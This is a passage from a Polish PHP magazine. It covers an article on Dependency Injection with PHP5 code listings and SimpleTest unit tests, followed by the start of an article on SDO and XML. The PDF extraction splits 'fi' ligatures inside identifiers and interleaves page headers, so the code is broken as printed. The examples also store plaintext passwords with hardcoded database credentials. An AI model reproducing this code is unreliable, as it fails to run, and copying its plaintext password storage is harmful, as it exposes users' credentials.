public function fi ndUserByLoginName($login) {

$userDao = new UserDAOPDOImpl();

return $userDao->fi ndUserByLoginName($login);

}

}

class UserDAOPDOImpl implements UserDAO {

private static $_pdoDB = null;

public function __construct() {

if (is_null($this->_pdoDB)) {

$this->_pdoDB = new PDO("pgsql:dbname=dites

t;host=localhost", "postgres",

"postgres");

}

}

public function getConnection() {

return $this->_pdoDB;

}

public function fi ndUserByLoginName($login) {

$stmt = $this->_pdoDB->prepare("SELECT * FROM users

WHERE login = :login");

$stmt->bindParam(":login", $login);

$stmt->execute();

if ($stmt->rowCount() > 0) {

$rows = $stmt->fetchAll();

$returnUser = new User($rows[0]['login'],

$rows[0]['upassword'],

$rows[0]['fi rstname'],

$rows[0]['lastname']);

return $returnUser;

} else {

return null;

}

}

public function save(User $u) {

$stmt = $this->_pdoDB->prepare("INSERT INTO users

( login, upassword, fi rstname, lastname )

VALUES

( :login, :upassword, :fi rstname, :lastname )");

$stmt->execute(array (":login" => $u->getLogin(),

":upassword" => $u->getPassword(),

":fi rstname" => $u->getFirstName(),

":lastname" => $u->getLastName()));

}

}

Listing 3. Test jednostkowy zależny od infrastruktury

<?php

// w testach korzystamy z SimpleTest

// http://www.lastcraft.com/simple_test.php

defi ne('SIMPLETEST_PATH', 'D:/phplibs/simpletest_1.0.1alpha2');

require_once (SIMPLETEST_PATH.'/unit_tester.php');

require_once (SIMPLETEST_PATH.'/reporter.php');

require_once ('listing1.php');

class TestWithDB extends UnitTestCase {

public function setUp() {

//przygotowanie infrastruktury

//wyczyszczenie DB

//potrzebujemy do tego oddzielnej instancji DB

//poniewaz nie chcemy zamazac prawdziwych danych

$pdoDao = new UserDAOPDOImpl();

$pdo = $pdoDao->getConnection();

$pdo->query("DELETE FROM users");

}

public function testSavingIfNotExists() {

$user = $this->prepareTestUser();

$us = new UserServiceImpl1();

//właściwy test

$us->addUser($user);

//kolejna interakcja z infrastruktura

//sprawdzenie, czy rekord zapisał się w DB

$pdoDao = new UserDAOPDOImpl();

$userFromDB = $pdoDao->fi ndUserByLoginName($user-

>getLogin());

}

public function testThrowsExceptionIfExists() {

$user = $this->prepareTestUser();

$us = new UserServiceImpl1();

//przygotowanie infrastruktury

//dodanie rekordu do DB

$pdoDao = new UserDAOPDOImpl();

$userFromDB = $pdoDao->save($user);

//właściwy test

try {

$us->addUser($user);

$this->fail();

} catch (UserExistsException $e) {

$this->assertEqual($e->getExistingLoginName(),

$user->getLogin());

}

}

private function prepareTestUser() {

return new User('jkowalski', 'jkowalski', 'Jan',

'Kowalski');

}

}

$test = new TestWithDB();

$test->run(new HtmlReporter());

?>

Page 27: PHPSolutions_2_2006_PL

OOP, Dependency Injection

www.phpsolmag.org 27

Techniki

PHP Solutions Nr 2/2006

nej metody zapamiętywania danych użyt-

kowników. Jedyną metodą zmiany powią-

zania z UserDAO jest modyfi kacja istnie-

jącego kodu. Niestety, nasze możliwości

pisania testów jednostkowych są również

mocno ograniczone. Możemy tworzyć

je tylko na poziomie klasy UserService,

co oznacza, że w czasie testów musimy

dysponować całą, skonfi gurowaną in-

frastrukturą (baza danych i odpowiednie

dane testowe). Oczywiście takie testy są

trudne do przygotowania, ich wyniki mo-

gą zmieniać się w zależności od jakości

danych testowych, a samo uruchamianie

zestawu testów jest czasochłonne. Listing

3 pokazuje szkielet takiego niezbyt zgrab-

nego testu.

Kolejny problem dotyczy ilości tworzo-

nych obiektów. W całej aplikacji wystarczy

jeden obiekt połączenia z DB i jeden

obiekt klasy UserDAO. W PHP, gdzie całe

środowisko wykonania jest tworzone od

nowa przy każdym zapytaniu WWW, nie

możemy pozwolić sobie na bezcelowe

tworzenie wielu obiektów. Będą on zajmo-

wały tylko cenną pamięć i czas procesora,

nie dając nic w zamian.

Singleton

Wspomniana przed chwilą potrzeba

tworzenia tylko jednej instancji obiek-

tu natychmiast przywodzi na myśl

wzorzec projektowy Singleton. Jest to

jeden z najłatwiejszych do zrozumienia

i zaprogramowania wzorców, podpowia-

dający w jaki sposób tworzyć obiekty

tak, by w całym programie znalazła się

tylko jedna instancja obiektu dla danej

klasy. Spójrzmy na Listing 4, gdzie przy

ustalaniu powiązań pomiędzy obiektami

używamy właśnie Singletona. Trzeba

przyznać, że rozwiązaliśmy jeden z pro-

blemów – w całej aplikacji mamy tylko

jedną kopię połączenia z DB i UserDAO.

Nie tracimy już zbędnych zasobów.

Niestety, nasze możliwości podmiany

strategi przechowywania danych użyt-

kowników nie poprawiły się ani trochę.

W dalszym ciągu, by zmienić klasę za-

pewniającą współpracę z DB, musimy

modyfi kować oryginalny kod. Pisanie

testów jednostkowych jest równie uciąż-

liwe jak w przypadku używania operatora

new. Na podstawie dwóch przedstawio-

nych sytuacji widać, że potrzebujemy

bardziej elastycznego sposobu wiąza-

nia obiektów. Na tyle elastycznego, by

możliwa była względnie łatwa podmiana

współpracujących ze sobą obiektów.

Listing 4. Wykorzystanie wzorca projektowego singleton

class UserServiceImpl2 implements UserService {

public function addUser(User $u){

$userDao = UserDAOPDOSingletonImpl::getInstance();

$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());

if ($existingUser == null){

$userDao->save($u);

} else {

throw new UserExistsException($u->getLogin());

}

}

public function fi ndUserByLoginName($login){

$userDao = UserDAOPDOSingletonImpl::getInstance();

return $userDao->fi ndUserByLoginName($login);

}

}

class UserDAOPDOSingletonImpl {

private static $_instance = null;

private $_pdoDB = null;

private function __construct() {

if (is_null($this->_pdoDB)){

$this->_pdoDB = new PDO(

"pgsql:dbname=ditest;host=localhost",

"postgres",

"postgres"

);

}

}

public static function getInstance(){

if (is_null(UserDAOPDOSingletonImpl::$_instance)){

UserDAOPDOSingletonImpl::$_instance = new UserDAOPDOSingletonImpl();

}

return UserDAOPDOSingletonImpl::$_instance;

}

//pozostala część kodu dla UserDAO pozostaje bez zmian

Listing 5. Wiązanie obiektów przez zmienne globalne

$userDao = UserDAOPDOSingletonImpl :: getInstance();

class UserService3 implements UserService {

public function addUser(User $u) {

global $userDao;

$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());

if ($existingUser == null) {

$userDao->save($u);

} else {

throw new UserExistsException($u->getLogin());

}

}

public function fi ndUserByLoginName($login) {

global $userDao;

return $userDao->fi ndUserByLoginName($login);

}

}

Page 28: PHPSolutions_2_2006_PL

OOP, wzorce projektowe

www.phpsolmag.org28

Techniki

PHP Solutions Nr 2/2006

Listing 6. Testy jednostkowe dla klasy wykorzystującej zmienne globalne

function prepareTestUser() {

return new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski');

}

class MockUserDAOWithoutUser implements UserDAO {

private $_savedUser;

public function fi ndUserByLoginName($login) {

return null;

}

public function save(User $u) {

$this->_savedUser = $u;

}

public function getSavedLogin() {

return $this->_savedUser->getLogin();

}

}

class MockUserDAOWithUser implements UserDAO {

public function fi ndUserByLoginName($login) {

return prepareTestUser();

}

public function save(User $u) {

}

}

class TestWithMocksAndGlobalVar extends UnitTestCase {

public function testSavingIfNotExists() {

global $userDao;

//podmiana globalnego DAO "oszukaną" wersją

$oldUserDao = $userDao;

$userDao = new MockUserDAOWithoutUser();

$user = prepareTestUser();

$us = new UserService3();

$us->addUser($user);

$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());

$userDao = $oldUserDao;

}

public function testThrowsExceptionIfExists() {

global $userDao;

//podmiana globalnego DAO "oszukana" wersją

$oldUserDao = $userDao;

$userDao = new MockUserDAOWithUser();

$user = prepareTestUser();

$us = new UserService3();

try {

$us->addUser($user);

$this->fail();

} catch (Exception $e) {

$this->assertEqual($e->getExistingLoginName(), $user->getLogin());

}

$userDao = $oldUserDao;

}

}

$test = new TestWithMocksAndGlobalVar();

$test->run(new HtmlReporter());

Global variables

O przykrych skutkach wynikających z uży-

wania zmiennych globalnych napisano już

całe tomy: powstały kod jest nieczytelny,

zależności pomiędzy obiektami są trudne

do zlokalizowania, zacierają się granice

poszczególnych warstw w architekturze.

Co gorsza, bardzo łatwo popełnić trudne

do odnalezienia błędy, przypadkowo nad-

pisując jedną ze zmiennych globalnych.

Niestety, nawet świadomość wszystkich

wymienionych wad czasami nie powstrzy-

muje nas przed zastosowaniem rozwiąza-

nia jak na Listingu 5. Trzeba przyznać, że

stare “dobre” zmienne globalne okazały się

pomocne. Pisanie testów jednostkowych

nagle stało się łatwiejsze i możliwe nawet

bez połączenia z bazą danych (Listing 6).

Zmieniając wartość jednego, globalnego

ustawienia, możemy przestawić aplikację

na zupełnie nowy sposób przechowywania

danych użytkowników.

Zaraz, zaraz, a co z różnymi połącze-

niami do bazy danych? Co zrobić w sytu-

acji, gdy chcemy zapisać dane osobowe

w zupełnie innej składnicy, zupełnie od-

dzielnej bazie danych? Jesteśmy w trudnej

sytuacji – połączenie z DB jest zdefi niowa-

ne w zmiennej globalnej.

Powrócił też, wydawałoby się już roz-

wiązany, problem tworzenia zbyt wielu in-

stancji obiektów. Konstruowanie wszystkich

DAO na początku każdego skryptu (nawet

tych, które nie zostaną użyte w danym

przetwarzaniu) jest niepotrzebnym marno-

waniem cennych zasobów.

Aby całkowicie zdyskredytować roz-

wiązanie oparte na zmiennych globalnych,

dodajmy tylko, że ich użycie skutecznie

niszczy całą architekturę i podział aplikacji

na warstwy. Ponieważ wszystkie części

aplikacji mają dostęp do DBConnection,

może zdarzyć się, że pobieranie danych

odbywa się w wielu niekontrolowanych

miejscach – nawet w warstwie widoku.

Podejście takie w krótkim czasie powoduje

zmianę solidnej architektury w nieprzenik-

nioną sieć powiązań.

Jakkolwiek zmienne globalne są nie do

przyjęcia, podpowiadają nam one właściwy

sposób rozwiązania problemu: w metodzie

addUser musimy mieć referencję do obiektu

UserDAO. Jak ją uzyskać bez uciekania się

do Singletonów i operatora new?

Inner factory

Spróbujmy zastosować prostą sztuczkę

pokazaną na Listingu 7. W ten sposób

zachowujemy zalety Singletona (jedna

Page 29: PHPSolutions_2_2006_PL

OOP, Dependency Injection

www.phpsolmag.org 29

Techniki

PHP Solutions Nr 2/2006

kopia obiektu tworzona w momencie, kiedy

jest potrzebna) i jednocześnie otwieramy

sobie drogę do łatwego pisania testów

jednostkowych (Listing 8). Wprawdzie nie

umożliwiliśmy podmiany klasy UserDAO, ale

przedstawiony trick wskazuje nam drogę

poszukiwań jeszcze lepszego rozwiązania.

Static factory, factory function

Przenieśmy tworzenie obiektów DAO

do osobnej klasy, DAOFactory (Listing 9).

Pojawia się tu kolejny wzorzec projektowy

– fabryka (ang. Factory). Przez jej dodanie

tworzymy dodatkową warstwę abstrakcji,

odpowiedzialną za dostarczenie konkret-

nej implementacji klasy. Podejście takie

rozwiązuje wszystkie napotkane do tej

pory problemy: obiekty tworzone są na żą-

danie, możemy podmieniać poszczególne

implementacje i testować nasz kod. W tym

schemacie postępowania nie ma znacze-

nia, w jaki sposób uzyskujemy dostęp do

obiektów typu fabryka – poprzez Single-

ton czy przez zamknięcie logiki fabryki

w oddzielnej metodzie. W tym ostatnim

przypadku jednak puryści obiektowi mogą

czuć się nieco urażeni.

Wydaje się, że znaleźliśmy idealne

rozwiązanie, możecie więc zastanawiać

się, dlaczego jesteśmy dopiero w połowie

artykułu? Okazuje się, że nawet to, co

osiągnęliśmy, uda się jeszcze ulepszyć.

Poradziliśmy sobie bowiem z najbardziej

palącymi problemami, ale nie zrobiliśmy

tego w sposób najbardziej efektywny. Kod

dla fabryk DAO będzie bardzo podobny.

Co gorsza, takie powielanie kodu czeka

nas w przypadku każdego nowego rodza-

ju fabryki. A gdyby tak zbudować jedną,

globalną fabrykę obiektów?

Registry, ServiceLocator

Rozwiązanie, które za chwilę zobaczymy,

określa się mianem rejestru lub dostawcy

serwisów (ang. Registry lub Service Loca-

tor). Zasada wykorzystania jest bardzo po-

dobna, jak w przypadku fabryk – z tą tylko

różnicą, że teraz możemy poprosić o obiekt

dowolnego typu (Listing 10). Zlikwidowa-

liśmy powtórzenia kodu w fabrykach, ale

kosztem znacznego skomplikowania konfi -

guracji. To jest największą wadą przedsta-

wionego rozwiązania.

Jeśli do całego obrazu włączymy testy

jednostkowe, to okaże się, że musimy

zarządzać dwoma zestawami konfi gura-

cji. W rozbudowanej aplikacji staje się to

zauważalnym problemem. Z architekto-

nicznego punktu widzenia powinien nas

Listing 7. Wykorzystanie inner factory

class UserService4 implements UserService {

public function addUser(User $u) {

$existingUser = $this->getUserDao()->fi ndUserByLoginName($u->getLogin());

if ($existingUser == null) {

$this->getUserDao()->save($u);

} else {

throw new UserExistsException($u->getLogin());

}

}

public function fi ndUserByLoginName($login) {

$userDao = $this->getUserDao();

return $userDao->fi ndUserByLoginName($login);

}

protected function getUserDao() {

return UserDAOPDOSingletonImpl :: getInstance();

}

}

Listing 8. Testy jednostkowe z inner factory

class UserServiceWithMockUserDAOWithoutUser extends UserService4 {

private $_userDao = null;

protected function getUserDao() {

if (is_null($this->_userDao)) {

$this->_userDao = new MockUserDAOWithoutUser();

}

return $this->_userDao;

}

public function getSavedLogin() {

return $this->getUserDao()->getSavedLogin();

}

}

class UserServiceWithMockUserDAOWithUser extends UserService4 {

protected function getUserDao() {

return new MockUserDAOWithUser();

}

}

class TestWithInnerFactory extends UnitTestCase {

public function testSavingIfNotExists() {

$user = prepareTestUser();

$us = new UserServiceWithMockUserDAOWithoutUser();

$us->addUser($user);

$this->assertEqual($us->getSavedLogin(), $user->getLogin());

}

public function testThrowsExceptionIfExists() {

$user = prepareTestUser();

$us = new UserServiceWithMockUserDAOWithUser();

try {

$us->addUser($user);

$this->fail();

} catch (Exception $e) {

$this->assertEqual($e->getExistingLoginName(), $user->getLogin());

}

}

}

Page 30: PHPSolutions_2_2006_PL

OOP, wzorce projektowe

www.phpsolmag.org30

Techniki

PHP Solutions Nr 2/2006

zaniepokoić jeszcze jeden fakt: bardzo du-

żo obiektów zależy od jednego, centralne-

go rejestru. Większość obiektów musi być

świadoma obecności rejestru w systemie.

Praktycznie w każdym przypadku testo-

wym należy przygotowywać środowisko,

podstawiając w rejestrze spreparowane

obiekty. Jest to oczywiście o wiele łatwiej-

sze, niż rzeczywiste konfi gurowanie bazy

danych i innych elementów infrastruktury,

ale w dalszym ciągu dość uciążliwe.

Nie dzwoń do nas,my odezwiemy siędo CiebieStwierdzenie, które pojawia się w tytule

tej części artykułu, zwykle przyprawia nas

o gęsią skórkę, jeśli akurat poszukujemy

pracy. To, co w świecie rzeczywistym jest

nieprzyjemnym doświadczeniem, w zo-

rientowanej obiektowo aplikacji może być

dobrodziejstwem. Spróbujmy się przez

chwilę zastanowić, co by się stało, gdy-

by dany obiekt nie musiał samodzielnie

wyszukiwać innych, potrzebnych mu do

współpracy obiektów? We wszystkich

wcześniej przedstawionych sytuacjach

UserService był odpowiedzialny za odna-

lezienie odpowiedniej instancji UserDAO.

A gdyby tak odwrócić role? Gdyby UserDAO

w jakiś sposób trafi ał do UserService?

Setter

Idąc tropem nowego sposobu myślenia,

możemy zmienić UserService tak, jak na

Listingu 11. Teraz współpracujące obiekty

pojawiają się samoistnie, bez jakiego-

kolwiek wysiłku ze strony UserService.

Testowanie tak skonstruowanych obiektów

jest dziecinnie proste (Listing 12) i dopraw-

dy trudno wymagać tutaj czegoś więcej.

Nareszcie możliwe staje się prowadzenie

prawdziwych testów jednostkowych, w któ-

rych sprawdzany jest jeden obiekt, w zu-

pełnej izolacji od pozostałych składników

systemu. Nie musimy wykonywać skompli-

kowanych manipulacji z konfi guracją.

Konstruktor

Możemy trochę poprawić swoją sytu-

ację, przekazując zależne byty tylko raz,

podczas konstruowania obiektu. Nasze

metody nie muszą już zawierać długiej

listy parametrów związanych tylko i wy-

łącznie z infrastrukturą. Nie straciliśmy też

nabytych już zalet związanych z łatwością

testowania. Wykonany krok jest ruchem

w zdecydowanie dobrym kierunku. Nasza

niskopoziomowa architektura wygląda du-

Listing 9. DAOFactory

class UserServiceImpl5 implements UserService {

public function addUser(User $u){

$userDao = UserDAOFactory::getDAO();

$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());

if ($existingUser == null){

$userDao->save($u);

} else {

throw new UserExistsException($u->getLogin());

}

}

}

class UserDAOFactory {

private static $_userDAO = null;

public static function registerDAO(UserDAO $userDAO){

UserDAOFactory::$_userDAO = $userDAO;

}

public static function getDAO(){

if (is_null(UserDAOFactory::$_userDAO)){

throw new Exception('Najpierw zarejestruj implementacje UserDAO!');

} else {

return UserDAOFactory::$_userDAO;

}

}

}

Listing 10. Service Locator

class UserServiceImpl6 implements UserService {

public function addUser(User $u){

$userDao = ServiceLocator::getObject("UserDAO");

$existingUser = $userDao->fi ndUserByLoginName($u->getLogin());

if ($existingUser == null){

$userDao->save($u);

} else {

throw new UserExistsException($u->getLogin());

}

}

}

class ServiceLocator {

private static $_objectsArray = array();

public static function registerObject($key, $objectImpl){

ServiceLocator::$_objectsArray[$key] = $objectImpl;

}

public static function getObject($key){

if (is_null(ServiceLocator::$_objectsArray[$key])){

throw new Exception("Najpierw zarejestruj obiekt '$key'");

} else {

return ServiceLocator::$_objectsArray[$key];

}

}

}

Page 31: PHPSolutions_2_2006_PL
Page 32: PHPSolutions_2_2006_PL

OOP, wzorce projektowe

www.phpsolmag.org32

Techniki

PHP Solutions Nr 2/2006

żo lepiej: jest bardzo elastyczna, wspoma-

ga pisanie testów jednostkowych. Łączenie

poszczególnych elementów w działający

program stało się dużo łatwiejsze. Potrzeb-

ne do współpracy obiekty nie są zapisane

na stałe, zbędna stała się skomplikowana

konfi guracja. Zmieniliśmy sposób myślenia

o zależnościach, odwracając role poszcze-

gólnych obiektów. To odwrócenie ról dało

początek nazwie wzorca projektowego,

którym określa się przedstawiony sposób

pisania programów: IoC (ang. Inversion

of Control). Wzorzec ten funkcjonuje pod

jeszcze jedną nazwą: wstrzykiwanie zależ-

ności (ang. Dependency Injection).

Dependency Injection

Badając różne możliwości łączenia ze

sobą obiektów, doszliśmy do prostego,

ale bardzo funkcjonalnego rozwiązania.

Taki sposób pisania programów staje się

coraz bardziej popularny i jest ku temu

bardzo dobry powód. Powstające w ten

sposób systemy mają bardzo przejrzystą

i elastyczna architekturę. Ich rozwijanie

i utrzymywanie jest znacznie prostsze niż

w przypadku gąszczu kodu, w którym nie

jesteśmy w stanie kontrolować powiązań

pomiędzy poszczególnymi składnikami.

Niestety, przy przedstawionym po-

dejściu ciężar pracy, od której uwolnił się

obiekt, spadnie teraz na programistę. To on

będzie musiał dodać parametry do wszyst-

kich metod, w których niezbędne jest połą-

czenie kilku obiektów we współpracującą

całość. Co gorsza, obiekty takie jak UserDAO

trzeba przekazywać przez wiele warstw

systemu, od początku skryptu, poprzez

kontrolery MVC. Ten sam problem dotyczy

połączenia z bazą danych. Sytuacja wyglą-

da więc tak, że zbudowaliśmy bardzo ele-

gancką architekturę, która jest nieprzyjazna

w użyciu. Pisząc aplikację według takiego

planu będziemy mieli wrażenie, że wyko-

nujemy dziesiątki niepotrzebnych operacji,

pracowicie dodając kolejne parametry do

konstruktorów.

Idealnie byłoby, gdyby istniał sposób

na automatyczne konfi gurowanie całych

grafów obiektów. W takim przypadku

programista nie musiałby przejmować się

pracowitym wiązaniem obiektów. Na szczę-

ście istnieją biblioteki, które znakomicie

ułatwiają pracę z programami tworzonymi

w duchu IoC.

Kontener IoC

Wyobraźmy sobie wielki worek, do którego

wrzucamy obiekty, nie martwiąc się o po-

Listing 11. Ustawianie zależności z zewnątrz

class UserServiceImpl7 implements UserService {

private $_userDao = null;

public function addUser(User $u) {

$existingUser = $this->_userDao->fi ndUserByLoginName($u->getLogin());

if ($existingUser == null) {

$this->_userDao->save($u);

} else {

throw new UserExistsException($u->getLogin());

}

}

public function fi ndUserByLoginName($login) {

return $this->_userDao->fi ndUserByLoginName($login);

}

public function setUserDao(UserDAO $userDao) {

$this->_userDao = $userDao;

}

}

class UserDAOPDOImpl implements UserDAO {

private $_pdoDB = null;

public function setConnection(PDO $pdoDB) {

return $this->_pdoDB = $pdoDB;

}

public function getConnection() {

return $this->_pdoDB;

}

public function fi ndUserByLoginName($login) {

$stmt = $this->_pdoDB->prepare("SELECT * FROM users WHERE login =

:login");

$stmt->bindParam(":login", $login);

$stmt->execute();

if ($stmt->rowCount() > 0) {

$rows = $stmt->fetchAll();

$returnUser = new User($rows[0]['login'], $rows[0]['upassword'],

$rows[0]['fi rstname'], $rows[0]['lastname']);

return $returnUser;

} else {

return null;

}

}

public function save(User $u) {

$stmt = $this->_pdoDB->prepare("

INSERT INTO users( login, upassword, fi rstname, lastname )

VALUES( :login, :upassword, :fi rstname, :lastname )");

$stmt->execute(array (":login" => $u->getLogin(), ":upassword" =>

$u->getPassword(), ":fi rstname" => $u->getFirstName(),

":lastname" =>$u->getLastName()));

}

}

$pdo = new PDO("pgsql:dbname=ditest;host=localhost", "postgres", "postgres");

$userDao = new UserDAOPDOImpl();

$userDao->setConnection($pdo);

$uservice = new UserServiceImpl7();

$uservice->setUserDao($userDao);

$user = new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski');

$uservice->addUser($user, $userDao);

Page 33: PHPSolutions_2_2006_PL

OOP, Dependency Injection

www.phpsolmag.org 33

Techniki

PHP Solutions Nr 2/2006

wiązania między nimi. Wszystko dokład-

nie wymieszajmy i sięgamy do worka po

jeden z obiektów. To nie jest taki całkiem

zwykły worek, bo gdy wyjmujemy konkret-

ny obiekt, to ciągną się za nim wszystkie

niezbędne do pracy obiekty zależne. To

magiczny worek dba o powiązanie tak, że

w efekcie wyjmujemy cały, przygotowany

do działania graf obiektów. Jeśli odwołamy

się do rozważanego wcześniej przykładu,

to sięgnięcie po obiekt klasy UserService

spowoduje pobieranie UserDAO, a to z kolei

– połączenia z DB.

Niestety, mimo ogromnych możliwości

PHP5, zaprogramowanie magicznego

worka może być trudnym przedsięwzię-

szybko minie, jeśli przez chwilę przyjrzymy

się sygnaturom konstruktora UserService

i UserDAO. Przecież wszystkie informacje

o zależnościach zostały już wyrażone w ty-

pach parametrów. Pico potrafi skorzystać

z tych informacji i nie zanudza programi-

sty kolejnymi prośbami o dane, które już

posiada.

Kolejną miłą cechą Pico jest jego nie-

nachalna współpraca. Wykonuje dobrą

robotę konfi gurując poszczególne obiekty,

ale nie jest niezbędny do działania całej

aplikacji. Zmienił się tylko sposób kon-

fi guracji połączeń. Do całej architektury

wprowadziliśmy pomocną bibliotekę, a nie

ociężały framework dyktujący sposób pisa-

nia kodu.

Możliwości tej niewielkiej biblioteki są

naprawdę duże i oprócz konfi gurowania

obiektów potrafi ona również zapewnić

włączanie (instrukcja include lub require)

tylko tych defi nicji klas, które są potrzebne

podczas wykonania danego modułu. Sze-

rzej możliwości Pico Container opiszemy

wkrótce w drugiej części tego artykułu.

PodsumowanieWstrzykiwanie zależności zamiast ich

poszukiwania jest dobrym pomysłem archi-

tektonicznym. Prowadzi do bardzo jasnego

zaprezentowania zależności pomiędzy

poszczególnymi obiektami, co przekłada

się na lepiej skonstruowany, bardziej czy-

telny kod. Precyzyjne zaznaczenie granic

poszczególnych komponentów umożliwia

łatwe pisanie testów jednostkowych, które

mogą być uruchamiane bez konieczno-

ści przygotowywania całej infrastruktury.

Jedyną niedogodnością może być nieco

uciążliwy proces łączenia poszczególnych

obiektów w gotową aplikację. Na szczęście

i ten problem można łatwo rozwiązać sto-

sując kontenery IoC, chociażby wspomnia-

ny Pico Container. �

Listing 12. Testowanie klas pokazanych na Listingu 11

class TestWithMocksAndSetterInjection extends UnitTestCase {

public function testSavingIfNotExists() {

$user = prepareTestUser();

$us = new UserServiceImpl7();

$userDao = new MockUserDAOWithoutUser();

$us->setUserDao($userDao);

$us->addUser($user);

$this->assertEqual($userDao->getSavedLogin(), $user->getLogin());

}

public function testThrowsExceptionIfExists() {

$user = prepareTestUser();

$us = new UserServiceImpl7();

$userDao = new MockUserDAOWithUser();

$us->setUserDao($userDao);

try {

$us->addUser($user);

$this->fail();

} catch (Exception $e) {

$this->assertEqual($e->getExistingLoginName(), $user->getLogin());

}

}

}

Listing 13. Konfi gurowanie aplikacji przy pomocy Pico Container

<?php

//wlaczenie defi nicji Pico Container

defi ne('PICO_PATH','D:/www/container/src');

require_once(PICO_PATH.'/pico.inc.php');

//wlaczenie klas z implementacja

require_once('include.all.php');

require_once('listing12.php');

//konfi guracja

$pico = new DefaultPicoContainer();

$pico->registerComponentImplementation('UserServiceImpl8');

$pico->registerComponentImplementation('UserDAOPDOImpl');

$pico->registerComponent(new InstanceComponentAdapter(new PDO(

"pgsql:dbname=ditest;host=localhost",

"postgres",

"postgres"

)));

//uzycie w aplikacji

$userService = $pico->getComponentInstance('UserServiceImpl8');

$userService->addUser(new User('jkowalski', 'jkowalski', 'Jan', 'Kowalski'));

?>

ciem. Zamiast tego będziemy musieli za-

dowolić się implementacją kontenera IoC,

który spełni identyczną rolę.

W świecie Java fi lozofi a IoC zadomo-

wiła się na dobre, zaś najpopularniejsze

kontenery to Spring Framework i Pico

Container. Dla tego ostatniego istnieje

wersja przygotowana specjalnie dla PHP5.

Spójrzmy na Listing 13, gdzie pokazany

jest sposób wykorzystania Pico.

Na pierwszy rzut oka zaskakujący mo-

że wydawać się fakt, iż w żadnym miejscu

nie specyfi kujemy połączeń pomiędzy

obiektami. Najzwyczajniej w świecie re-

jestrujemy kilka obiektów, a o pozostałe

rzeczy martwi się Pico. Nasze zaskoczenie

Paweł Kozłowski jest pracownikiem

SUPERMEDIA, gdzie od roku 2000

projektuje i tworzy złożone aplikacje

WWW w PHP. Obecnie zajmuje się roz-

wijaniem frameworków i bibliotek ORM

opartych na PHP5. Jest autorem portu

PicoContainer dla PHP5 i wielu publika-

cji poświęconych PHP.

Kontakt z autorem: pkozlowski@phpsol-

mag.org.

O autorze

Page 34: PHPSolutions_2_2006_PL

www.phpsolmag.org34

Techniki

PHP Solutions Nr 2/2006

W poprzednim numerze PHP

Solutions omówiliśmy ogólnie

rozszerzenie SDO (ang. Servi-

ce Data Objects). Pokazaliśmy, jak je wy-

korzystać do obsługi prostej bazy danych

służącej do przechowywania newsów.

Przypomnijmy, że SDO jest elemen-

tem architektury stworzonej przez IBM

i BEA, mającej na celu ułatwienie, czy

wręcz ujednolicić dostęp do danych po-

chodzących z wielu różnych źródeł. Na-

rzędzie to zapewnia wspólny interfejs, za

pomocą którego programiści będą mogli

zarządzać danymi pochodzącymi z re-

lacyjnych baz danych, plików XML, Web

Services (webserwisów) i wielu innych

źródeł.

Na Rysunku 1 przedstawiamy schemat

architektury SDO. Jak widzimy, za dostęp

do źródeł danych odpowiadają obiekty

DAS (ang. Data Access Service). Ukrywają

one przed programistą szczegóły związa-

ne z komunikacją z odpowiednim źródłem

danych. Użycie tych obiektów sprawia, że

Wracamy do SDO: rozwiązania, które

zrewolucjonizuje i zunifi kuje sposób dostępu

do danych w PHP. Pokażemy, jak szalenie

użyteczne staje się SDO w świecie XML-a,

zdejmując z barków programisty ciężar

przenoszenia danych między systemem

bazodanowym a plikami XML.

nie musimy się przejmować sposobem

fi zycznego przechowywania danych.

Dane wchodzące i wychodzące

z obiektów DAS mają postać drzewa

obiektów SDO. Za stworzenie drzew od-

powiedzialne są klasy DAS, które dzięki

tzw. mappingom przetwarzają dane zapi-

sane w formacie właściwym dla danego

źródła na obiekty SDO. W przypadku bazy

danych mappingiem jest zestaw tablic aso-

cjacyjnych opisujących strukturę tabel i re-

lacje pomiędzy nimi. Natomiast dla plików

XML jest to plik XML Schema.

Service Data Objects, czyli uniwersalny standard dostępu do danych – część drugaPiotr Szarwas

W SIECI

1. http://www.ibm.com/

developerworks/webservices

– pełna specyfi kacja archi-

tektury SDO

2. http://www.w3schools.com/

schema/default.asp – tuto-

rial tworzenia plików XML

Schema

3. http://www.w3.org/TR/

xmlschema-1/ – ofi cjalna

specyfi kacja W3C dotycząca

XML Schema

Co należy wiedzieć...Potrzebna będzie podstawowa znajo-

mość obsługi baz danych w SDO, pro-

gramowania obiektowego oraz standardu

XML.

Co obiecujemy...Pokażemy, jak przy pomocy SDO eks-

portować dane z relacyjnej bazy danych

do plików XML.

Stopień trudności: ���

Page 35: PHPSolutions_2_2006_PL

SDO

www.phpsolmag.org 35

Techniki

PHP Solutions Nr 2/2006

Obecna implementacja standardu

SDO w PHP nie jest jeszcze kompletna.

Jedynymi obsługiwanymi źródłami danych

są na razie bazy danych i pliki XML. Wy-

miana danych z bazami odbywa się z wy-

korzystywaniem rozszerzenia PDO i jest

obsługiwana przez napisaną w PHP klasę

SDO_DAS_Relational. Komunikacja z plika-

mi XML odbywa się natomiast przy użyciu

napisanej w C jako zend_extension klasy

SDO_DAS_XML oraz klasy pomocniczej,

którą jest libxml2.

W tym artykule zajmiemy się możliwo-

ściami SDO związanymi z obróbką plików

XML. Pokażemy, jak importować i ekspor-

tować dane pochodzące z przedstawionej

w poprzednim artykule o SDO bazy da-

nych, której schemat przedstawiamy na

Listingu 1. Na koniec zademonstrujemy

wykorzystanie SDO w celu pozyskiwania

zamieszczonych na zewnętrznych serwi-

sach newsów w formacie RSS.

Instalacjarozszerzenia SDOW poprzednim artykule o SDO opisaliśmy

dokładnie instalację tego rozszerzenia. Od

czasu napisania tamtego tekstu, pojawiła

się nowa wersja SDO opatrzona numerem

0.6, z której korzystamy tym razem. Nie

wnosi ona żadnych większych zmian, tak

więc kod, który będziemy omawiali, powi-

nien bez problemów współpracować ze

wszystkimi wcześniejszymi wersjami SDO.

Pamiętajmy, że rozszerzenie SDO będzie

działało wyłącznie z PHP 5.1 lub nowszym.

Klasa SDO_DAS_XML korzysta z bi-

blioteki libxml2, więc będziemy musieli

ją również zainstalować. Jej obecność

w instalacji PHP sprawdzimy wywołując

funkcję phpinfo().

Dodatkowo, aby rozszerzenie SDO

w ogóle działało, należy do pliku php.ini

dodać następujące linie: extension=sdo.so

i extension=sdo_das_xml.so (pod Li-

